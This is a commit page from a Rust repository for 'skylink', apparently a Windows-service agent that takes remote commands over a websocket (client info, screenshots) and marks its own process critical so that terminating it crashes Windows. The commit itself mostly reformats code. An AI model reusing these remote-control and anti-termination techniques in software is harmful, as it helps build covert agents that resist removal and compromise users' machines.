Xory/skylink
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

tweak: only log debug entries in debug builds

Browse source
This commit is contained in:
Xory 2025-12-18 16:57:03 +02:00
parent 72740c93af
commit edbe8a5e3f
5 changed files with 130 additions and 157 deletions
Download patch file Download diff file Expand all files Collapse all files

6
src/lib.rs
View file

@ -45,7 +45,7 @@ pub enum Command {
ClientInfo,
Dnx { params: DnxParams },
Screenshot,
LowTierGod
LowTierGod,
}
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
@ -128,11 +128,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
}
// this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!(""))
},
}
Command::LowTierGod => {
let _ = low_tier_god().await; // if this fails you're fucked
Ok(format!(""))
},
}
_ => todo!(),
}
}

3
src/lib/logger.rs
View file

@ -38,6 +38,8 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
}
};
let debug_mode = cfg!(debug_assertions);
if (level == LogLevel::Debug) && !debug_mode {
println!("{}", ansi_string);
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
@ -45,3 +47,4 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
}
}
}
}

2
src/lib/websockets.rs
View file

@ -1,6 +1,6 @@
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
use serde_json::json;
use futures_util::{SinkExt, StreamExt};
use serde_json::json;
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::{Bytes, Message};

20
src/lib/winapi.rs
View file

@ -99,17 +99,8 @@ pub fn mark_process_critical() -> anyhow::Result<()> {
// NtCurrentProcess pseudo-handle (-1)
let handle: HANDLE = (-1isize) as usize as *mut c_void;
let mut critical: u32 = 1;
let status = NtSetInformationProcess(
handle,
ProcessBreakOnTermination,
&mut critical as *mut _ as *mut _,
core::mem::size_of::<u32>() as u32,
);
if status == 0 {
Ok(())
} else {
anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
}
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
if status == 0 { Ok(()) } else { anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) }
}
}
@ -121,12 +112,7 @@ pub async fn low_tier_god() -> anyhow::Result<()> {
// NtCurrentProcess pseudo-handle (-1)
let handle: HANDLE = (-1isize) as usize as *mut c_void;
let mut critical: u32 = 0;
let status = NtSetInformationProcess(
handle,
ProcessBreakOnTermination,
&mut critical as *mut _ as *mut _,
core::mem::size_of::<u32>() as u32,
);
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
assert_eq!(status, 0);
}

42
src/main.rs
View file

@ -1,20 +1,17 @@
use skylink::LOG_PATH;
use skylink::WsTx;
use skylink::lib::logger::{LogLevel, log};
use skylink::lib::websockets::websocket_handler;
use skylink::lib::winapi::mark_process_critical;
use skylink::LOG_PATH;
use skylink::WsTx;
use std::sync::Arc;
use tokio::sync::Mutex;
use std::ffi::OsString;
use std::time::Duration;
use std::sync::Arc;
use std::sync::mpsc::channel;
use std::time::Duration;
use tokio::sync::Mutex;
use windows_service::{
define_windows_service,
service::{
ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
ServiceType,
},
service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType},
service_control_handler::{self, ServiceControlHandlerResult},
service_dispatcher,
};
@ -48,7 +45,9 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
let ws_tx: WsTx = Arc::new(Mutex::new(None));
let ws_tx_for_handler = Arc::clone(&ws_tx);
tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
tokio::spawn(async {
websocket_handler(ws_tx_for_handler).await;
});
// this isn't necessary for program functioning
// and also error handling this is a PITA
@ -130,15 +129,7 @@ fn my_service_main(_arguments: Vec<OsString>) {
};
// 2. Tell Windows we are running
let next_status = ServiceStatus {
service_type: SERVICE_TYPE,
current_state: ServiceState::Running,
controls_accepted: ServiceControlAccept::STOP,
exit_code: ServiceExitCode::Win32(0),
checkpoint: 0,
wait_hint: Duration::default(),
process_id: None,
};
let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
if let Err(e) = status_handle.set_service_status(next_status) {
eprintln!("Failed to set service status: {}", e);
}
@ -157,7 +148,8 @@ fn my_service_main(_arguments: Vec<OsString>) {
// Since this is the main logic block, we can just check it in a separate thread.
let _ = tokio::task::spawn_blocking(move || {
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
}).await;
})
.await;
let _ = async_tx.send(()); // Tell app to stop
});
@ -166,14 +158,6 @@ fn my_service_main(_arguments: Vec<OsString>) {
});
// 4. Tell Windows we have stopped
let stop_status = ServiceStatus {
service_type: SERVICE_TYPE,
current_state: ServiceState::Stopped,
controls_accepted: ServiceControlAccept::empty(),
exit_code: ServiceExitCode::Win32(0),
checkpoint: 0,
wait_hint: Duration::default(),
process_id: None,
};
let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
let _ = status_handle.set_service_status(stop_status);
}